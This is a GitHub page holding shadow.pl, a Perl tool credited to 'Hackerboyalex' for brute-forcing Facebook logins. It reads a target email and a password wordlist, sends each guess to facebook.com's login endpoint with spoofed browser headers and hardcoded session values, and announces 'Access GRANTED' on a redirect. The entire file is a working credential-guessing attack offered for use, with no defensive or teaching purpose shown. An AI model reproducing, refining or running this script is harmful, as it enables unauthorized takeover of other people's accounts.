-
Notifications
You must be signed in to change notification settings - Fork 1
/
shadow.pl
103 lines (87 loc) · 4.98 KB
/
shadow.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#!/usr/bin/perl
#
use strict;
use Net::SSLeay::Handle;
if(!defined($ARGV[0] && $ARGV[1])) {
system('clear');
print " \n";
print " ███████╗██╗ ██╗ █████╗ ██████╗ ██████╗ ██╗ ██╗ \n";
print " ██╔════╝██║ ██║██╔══██╗██╔══██╗██╔═══██╗██║ ██║ \n";
print " ███████╗███████║███████║██║ ██║██║ ██║██║ █╗ ██║ \n";
print " ╚════██║██╔══██║██╔══██║██║ ██║██║ ██║██║███╗██║ \n";
print " ███████║██║ ██║██║ ██║██████╔╝╚██████╔╝╚███╔███╔╝ \n";
print " ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝ ╚═════╝ ╚══╝╚══╝ \n";
print "\033[1;32m =========================================================================\n";
print "\033[1;32m USEME: perl $0 Email wordlist.txt \n";
print "\033[1;32m =========================================================================\n";
exit; }
my $user = $ARGV[0];
my $wordlist = $ARGV[1];
open (LIST, $wordlist) || die "\n[-] Can't find/open $wordlist\n";
print " \n";
print " ███████╗██╗ ██╗ █████╗ ██████╗ ██████╗ ██╗ ██╗ \n";
print " ██╔════╝██║ ██║██╔══██╗██╔══██╗██╔═══██╗██║ ██║ \n";
print " ███████╗███████║███████║██║ ██║██║ ██║██║ █╗ ██║ \n";
print " ╚════██║██╔══██║██╔══██║██║ ██║██║ ██║██║███╗██║ \n";
print " ███████║██║ ██║██║ ██║██████╔╝╚██████╔╝╚███╔███╔╝ \n";
print " ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝ ╚═════╝ ╚══╝╚══╝ \n";
print "\033[1;32m ===================================================================== \n";
print "\033[1;32m All right reserved and Developed by Hackerboyalex \n";
print "\033[1;32m https://github.com/hackerboyalex \n";
print "\033[1;32m ===================================================================== \n";
print "\033[1;32m\n [+] Brute Force Attacking on: $user ...\n\n";
print "=======================================\n";
while (my $password = <LIST>) {
chomp ($password);
$password =~ s/([^^A-Za-z0-9\-_.!~*'()])/ sprintf "%%%0x", ord $1 /eg;
my $a = "POST /login.php HTTP/1.1";
my $b = "Host: www.facebook.com";
my $c = "Connection: close";
my $e = "Cache-Control: max-age=0";
my $f = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
my $g = "Origin: https://www.facebook.com";
my $h = "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31";
my $i = "Content-Type: application/x-www-form-urlencoded";
my $j = "Accept-Encoding: gzip,deflate,sdch";
my $k = "Accept-Language: en-US,en;q=0.8";
my $l = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3";
my $cookie = "cookie: datr=80ZzUfKqDOjwL8pauwqMjHTa";
my $post = "lsd=AVpD2t1f&display=&enable_profile_selector=&legacy_return=1&next=&profile_selector_ids=&trynum=1&timezone=300&lgnrnd=031110_Euoh&lgnjs=1366193470&email=$user&pass=$password&default_persistent=0&login=Log+In";
my $cl = length($post);
my $d = "Content-Length: $cl";
my ($host, $port) = ("www.facebook.com", 443);
tie(*SSL, "Net::SSLeay::Handle", $host, $port);
print SSL "$a\n";
print SSL "$b\n";
print SSL "$c\n";
print SSL "$d\n";
print SSL "$e\n";
print SSL "$f\n";
print SSL "$g\n";
print SSL "$h\n";
print SSL "$i\n";
print SSL "$j\n";
print SSL "$k\n";
print SSL "$l\n";
print SSL "$cookie\n\n";
print SSL "$post\n";
my $success;
while(my $result = <SSL>){
if($result =~ /Location(.*?)/){
$success = $1;
}
}
if (!defined $success)
{
print "\033[1;31m[-] $password -> Access DENIED\n";
close SSL;
}
else
{
print "\033[1;32m\n########################################################\n";
print "[+] \033[1;32m Access GRANTED : $password\n";
print "\033[1;32m########################################################\n\n";
close SSL;
exit;
}
}